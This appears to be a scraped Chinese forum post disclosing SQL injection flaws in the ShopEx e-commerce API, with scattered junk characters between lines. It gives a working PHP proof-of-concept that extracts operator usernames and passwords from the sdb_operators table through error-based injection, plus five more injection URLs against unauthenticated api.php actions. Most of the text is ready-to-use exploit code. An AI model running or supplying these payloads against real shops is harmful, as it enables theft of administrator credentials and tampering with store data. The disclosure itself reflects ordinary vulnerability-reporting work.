|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php
- e, f+ v, @! h. C5 icore\api\payment\1.0\api_b2b_2_0_payment_cfg.php8 {. W$ x. b7 g$ x* I. @3 h
; [' A7 J+ X, @4 v/ I# Z
第44行 $data['columns'] 未做过滤导致注入+ w3 r; a/ q2 p4 v& P2 P
6 j) {( Z. t8 f# D<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.
2 ^/ V( O) j) J% f" c A5 m3 `
$ Q8 a. S$ i6 Y4 L% V注射1:( g7 C) _8 s4 H# s3 I
/ L2 x9 s) L( R' p1 o, @
http://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#9 ? k! k7 \: u- H5 N
C1 ]& q* m7 s* b9 ~1 q
注射2:
6 X6 l5 W& `/ p9 F1 |3 whttp://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}1 G# ]# D, P6 ?9 `
3 K p4 u+ ?& t: o- F
注射3:
0 @1 M% J; G: u! c/ ~) ] http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx" r' H. o9 D0 j# J* V, t# J
注射4:
/ q ]8 j4 e+ S! m4 [. T, L0 j3 L' ~' y3 R- @
http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1
: B, V( t- R0 y* v& r" A* @" j$ C
+ J6 _* m5 h( t, X, K! x" F5 Y+ p注射5:2 g& a( _* O+ o( l5 ?. W" O
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx+ F1 m7 N {% t& {
9 A. v3 ]* p" I( B5 v% s
6 Y# d" `! M* r: p( M9 K `& t
6 w! c X8 i. n$ Q( [+ R$ C L( R8 g( D$ @5 C- ]2 N# O
- D& c, s& e# H6 Q, `
, V X& N. D' F
|
|